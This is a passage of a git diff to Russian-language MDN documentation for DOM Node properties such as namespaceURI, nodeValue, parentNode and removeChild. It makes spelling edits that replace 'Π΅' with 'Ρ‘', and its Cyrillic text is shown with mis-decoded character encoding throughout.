-<p>Из-Π·Π° ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с динамичСским Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ пространства ΠΈΠΌΠ΅Π½, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ установлСно с Ρ‚Π΅ΠΌ ΠΆΠ΅ свойством {{domxref("Node.prefix")}}.</p>
+<p>Из-Π·Π° ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с динамичСским Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ пространства ΠΈΠΌΡ‘Π½, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ установлСно с Ρ‚Π΅ΠΌ ΠΆΠ΅ свойством {{domxref("Node.prefix")}}.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/node/namespaceuri/index.html b/files/ru/web/api/node/namespaceuri/index.html
index 56534ae20a..479df26e24 100644
--- a/files/ru/web/api/node/namespaceuri/index.html
+++ b/files/ru/web/api/node/namespaceuri/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Node/namespaceURI
<div>{{APIRef("DOM")}}</div>
</div>
-<p>Бвойство <code><strong>Node.namespaceURI</strong></code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пространство ΠΈΠΌΠ΅Π½ URI ΡƒΠ·Π»Π° ΠΈΠ»ΠΈ <code>null,</code> Ссли ΡƒΠ·Π΅Π» Π½Π΅ находится Π² пространствС ΠΈΠΌΠ΅Π½ (Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния). Π₯отя ΡƒΠ·Π΅Π» Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пространство ΠΈΠΌΠ΅Π½ XML для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
+<p>Бвойство <code><strong>Node.namespaceURI</strong></code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пространство ΠΈΠΌΡ‘Π½ URI ΡƒΠ·Π»Π° ΠΈΠ»ΠΈ <code>null,</code> Ссли ΡƒΠ·Π΅Π» Π½Π΅ находится Π² пространствС ΠΈΠΌΡ‘Π½ (Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния). Π₯отя ΡƒΠ·Π΅Π» Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пространство ΠΈΠΌΡ‘Π½ XML для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -15,7 +15,7 @@ translation_of: Web/API/Node/namespaceURI
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ этом сниппСтС, ΡƒΠ·Π΅Π» рассматриваСтся для Π΅Π³ΠΎ <a href="/en-US/docs/DOM/Node.localName" title="DOM/Node.localName">localName</a> ΠΈ Π΅Π³ΠΎ <code>namespaceURI</code>. Если <code>namespaceURI</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ XUL пространство ΠΈΠΌΠ΅Π½ ΠΈ <code>localName</code> возвращая "browser", Π·Π°Ρ‚Π΅ΠΌ ΡƒΠ·Π΅Π» XUL согласуСт <code>&lt;browser/&gt;</code>.</p>
+<p>Π’ этом сниппСтС, ΡƒΠ·Π΅Π» рассматриваСтся для Π΅Π³ΠΎ <a href="/en-US/docs/DOM/Node.localName" title="DOM/Node.localName">localName</a> ΠΈ Π΅Π³ΠΎ <code>namespaceURI</code>. Если <code>namespaceURI</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ XUL пространство ΠΈΠΌΡ‘Π½ ΠΈ <code>localName</code> возвращая "browser", Π·Π°Ρ‚Π΅ΠΌ ΡƒΠ·Π΅Π» XUL согласуСт <code>&lt;browser/&gt;</code>.</p>
<pre class="brush:js">if (node.localName == "browser" &amp;&amp;
node.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
@@ -24,17 +24,17 @@ translation_of: Web/API/Node/namespaceURI
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p>Π­Ρ‚ΠΎ Π½Π΅ вычислСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ поиска ΠΈΠΌΠ΅Π½ Π½Π° основС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ†ΠΈΠΈ Π² области пространства ΠΈΠΌΠ΅Π½. ΠŸΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²ΠΎ ΠΈΠΌΠ΅Π½ URI ΡƒΠ·Π»Π° Π·Π°ΠΌΠΎΡ€ΠΎΠΆΠ΅Π½Π° Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания ΡƒΠ·Π»Π°.</p>
+<p>Π­Ρ‚ΠΎ Π½Π΅ вычислСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ поиска ΠΈΠΌΡ‘Π½ Π½Π° основС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ†ΠΈΠΈ Π² области пространства ΠΈΠΌΡ‘Π½. ΠŸΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²ΠΎ ΠΈΠΌΡ‘Π½ URI ΡƒΠ·Π»Π° Π·Π°ΠΌΠΎΡ€ΠΎΠΆΠ΅Π½Π° Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания ΡƒΠ·Π»Π°.</p>
-<p>Π’ Firefox 3.5 ΠΈ Π²Ρ‹ΡˆΠ΅, пространство ΠΈΠΌΠ΅Π½ URI для HTML элСмСнтов Π² HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… это <code>null</code>. Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΡ… вСрсиях, Π² соотвСтствии с HTML5, это <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> ΠΊΠ°ΠΊ Π² XHTML. {{gecko_minversion_inline("1.9.2")}}</p>
+<p>Π’ Firefox 3.5 ΠΈ Π²Ρ‹ΡˆΠ΅, пространство ΠΈΠΌΡ‘Π½ URI для HTML элСмСнтов Π² HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… это <code>null</code>. Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΡ… вСрсиях, Π² соотвСтствии с HTML5, это <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> ΠΊΠ°ΠΊ Π² XHTML. {{gecko_minversion_inline("1.9.2")}}</p>
<p>Для ΡƒΠ·Π»ΠΎΠ² любого <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node/NodeType/Node.nodeType">nodeType</a> ΠΊΡ€ΠΎΠΌΠ΅ <code>ELEMENT_NODE</code> ΠΈ <code>ATTRIBUTE_NODE</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>namespaceURI</code> всСгда <code>null</code>.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ элСмСнт с ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ <code>namespaceURI</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ DOM Level 2 <a href="/en-US/docs/DOM/document.createElementNS" title="DOM/document.createElementNS">document.createElementNS</a>.</p>
-<p>Π§Π΅Ρ€Π΅Π· <a class="external" href="http://www.w3.org/TR/xml-names11/">пространство ΠΈΠΌΠ΅Π½ Π² XML</a> спСцификации, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Π½Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ пространство ΠΈΠΌΠ΅Π½ для элСмСнта ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½. Если Ρƒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ явно пространство ΠΈΠΌΠ΅Π½, ΠΎΠ½ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ пространства ΠΈΠΌΠ΅Π½.</p>
+<p>Π§Π΅Ρ€Π΅Π· <a class="external" href="http://www.w3.org/TR/xml-names11/">пространство ΠΈΠΌΡ‘Π½ Π² XML</a> спСцификации, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Π½Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ пространство ΠΈΠΌΡ‘Π½ для элСмСнта ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½. Если Ρƒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ явно пространство ΠΈΠΌΡ‘Π½, ΠΎΠ½ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ пространства ΠΈΠΌΠ΅Π½.</p>
-<p>DOM Π½Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π½Π΅ Π²Ρ‹Π½ΡƒΠΆΠ΄Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ пространство ΠΈΠΌΠ΅Π½ ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠ΅. ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π²Ρ‹ΡˆΠ΅ DOM, Π΄Π΅Π»Π°ΡŽΡ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ. <span id="result_box" lang="ru"><span class="hps">ΠžΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ Ρ‚Π°ΠΊΠΆΠ΅,</span> <span class="hps">Ρ‡Ρ‚ΠΎ</span> <span class="hps">прСфикс пространства ΠΈΠΌΠ΅Π½</span><span>,</span> <span class="hps">ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΎΠ½ связан с</span> <span class="hps">ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ</span><span>,</span> <span class="hps">Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½</span><span>.</span></span></p>
+<p>DOM Π½Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π½Π΅ Π²Ρ‹Π½ΡƒΠΆΠ΄Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ пространство ΠΈΠΌΡ‘Π½ ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠ΅. ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π²Ρ‹ΡˆΠ΅ DOM, Π΄Π΅Π»Π°ΡŽΡ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ. <span id="result_box" lang="ru"><span class="hps">ΠžΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ Ρ‚Π°ΠΊΠΆΠ΅,</span> <span class="hps">Ρ‡Ρ‚ΠΎ</span> <span class="hps">прСфикс пространства ΠΈΠΌΡ‘Π½</span><span>,</span> <span class="hps">ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΎΠ½ связан с</span> <span class="hps">ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ</span><span>,</span> <span class="hps">Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½</span><span>.</span></span></p>
<h2 id="Specifications" name="Specifications">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/node/nextsibling/index.html b/files/ru/web/api/node/nextsibling/index.html
index cc874be72e..9ecb139758 100644
--- a/files/ru/web/api/node/nextsibling/index.html
+++ b/files/ru/web/api/node/nextsibling/index.html
@@ -65,7 +65,7 @@ while (el) {
**************************************************/
</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ <code>#text</code> ΡƒΠ·Π»Ρ‹ Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² DOM, Π³Π΄Π΅Β ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅Π³Π°ΠΌΠΈ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ (Ρ‚.Π΅. послС Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π° элСмСнта ΠΈ Π΄ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π° рядом). НС создаСтся ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами, вставлСнных с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>document.write</code></p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ <code>#text</code> ΡƒΠ·Π»Ρ‹ Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² DOM, Π³Π΄Π΅Β ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅Π³Π°ΠΌΠΈ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ (Ρ‚.Π΅. послС Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π° элСмСнта ΠΈ Π΄ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π° рядом). НС создаётся ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами, вставлСнных с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>document.write</code></p>
<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ тСкстовых ΡƒΠ·Π»ΠΎΠ² Π² DOM Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π°, ΠΊΠΎΠ³Π΄Π° DOM обходится с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>nextSibling</code>. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ€Π°Π·Π΄Π΅Π» "Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ".</p>
diff --git a/files/ru/web/api/node/nodevalue/index.html b/files/ru/web/api/node/nodevalue/index.html
index aba6e43755..dccb8f4c24 100644
--- a/files/ru/web/api/node/nodevalue/index.html
+++ b/files/ru/web/api/node/nodevalue/index.html
@@ -18,7 +18,7 @@ translation_of: Web/API/Node/nodeValue
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ</h2>
-<p>Для самого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, <code>nodeValue</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code>. Для тСкста, коммСнтария ΠΈ CDATA ΡƒΠ·Π»ΠΎΠ², <code>nodeValue</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ содСрТимоС ΡƒΠ·Π»Π°. Для ΡƒΠ·Π»Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, вСрнСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°.</p>
+<p>Для самого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, <code>nodeValue</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code>. Для тСкста, коммСнтария ΠΈ CDATA ΡƒΠ·Π»ΠΎΠ², <code>nodeValue</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ содСрТимоС ΡƒΠ·Π»Π°. Для ΡƒΠ·Π»Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, вСрнётся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ‚Π°Π±Π»ΠΈΡ†Π°, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ значСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… элСмСнтов:</p>
diff --git a/files/ru/web/api/node/parentnode/index.html b/files/ru/web/api/node/parentnode/index.html
index 139880247f..a845f3d4b0 100644
--- a/files/ru/web/api/node/parentnode/index.html
+++ b/files/ru/web/api/node/parentnode/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/Node/parentNode
<h2 id="Summary" name="Summary">Аннотация</h2>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ родитСля ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ элСмСнта DOM Π΄Π΅Ρ€Π΅Π²Π°.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ родитСля ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ элСмСнта DOM Π΄Π΅Ρ€Π΅Π²Π°.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -31,7 +31,7 @@ translation_of: Web/API/Node/parentNode
<p><code>Document</code> ΠΈ <code>DocumentFragment</code> <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node.nodeType">nodes</a> <em> ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ родитСля</em>, Π² этом случаС <code>parentNode</code> всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code>.</p>
-<p>Π’Π°ΠΊ ΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code> Ссли элСмСнт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Ρ‹Π» создан ΠΈ Π΅Ρ‰Π΅ Π½Π΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π² DOM Π΄Π΅Ρ€Π΅Π²ΠΎ.</p>
+<p>Π’Π°ΠΊ ΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code> Ссли элСмСнт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Ρ‹Π» создан ΠΈ Π΅Ρ‰Ρ‘ Π½Π΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π² DOM Π΄Π΅Ρ€Π΅Π²ΠΎ.</p>
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
diff --git a/files/ru/web/api/node/prefix/index.html b/files/ru/web/api/node/prefix/index.html
index 404f245f65..fe218e0507 100644
--- a/files/ru/web/api/node/prefix/index.html
+++ b/files/ru/web/api/node/prefix/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Node/prefix
<div>{{APIRef("DOM")}}</div>
</div>
-<p>Бвойство <code><strong>Node.prefix</strong></code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π΅ прСфикс пространства ΠΈΠΌΠ΅Π½ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° ΠΈΠ»ΠΈ <code>null,</code> Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ прСфикс. Π­Ρ‚ΠΎ свойство Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния.</p>
+<p>Бвойство <code><strong>Node.prefix</strong></code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π΅ прСфикс пространства ΠΈΠΌΡ‘Π½ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° ΠΈΠ»ΠΈ <code>null,</code> Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ прСфикс. Π­Ρ‚ΠΎ свойство Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/node/removechild/index.html b/files/ru/web/api/node/removechild/index.html
index 738dadbaa6..0666aa815c 100644
--- a/files/ru/web/api/node/removechild/index.html
+++ b/files/ru/web/api/node/removechild/index.html
@@ -12,7 +12,7 @@ translation_of: Web/API/Node/removeChild
<h2 id="Summary" name="Summary">Аннотация</h2>
-<p>УдаляСт Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт ΠΈΠ· DOM. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ элСмСнт.</p>
+<p>УдаляСт Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт ΠΈΠ· DOM. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -21,14 +21,14 @@ translation_of: Web/API/Node/removeChild
</pre>
<ul>
- <li><code>child</code> Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· DOM.</li>
+ <li><code>child</code> Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· DOM.</li>
<li><code>element</code> Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт удаляСмого <code>child</code>.</li>
<li><code>oldChild</code> ссылка Π½Π° удаляСмый Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт. <code>oldChild</code> === <code>child</code>.</li>
</ul>
-<p>Π£Π΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт остаСтся Π² памяти, Π½ΠΎ большС Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ DOM. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ элСмСнт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ - <code>oldChild</code>.</p>
+<p>Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт остаётся Π² памяти, Π½ΠΎ большС Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ DOM. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ - <code>oldChild</code>.</p>
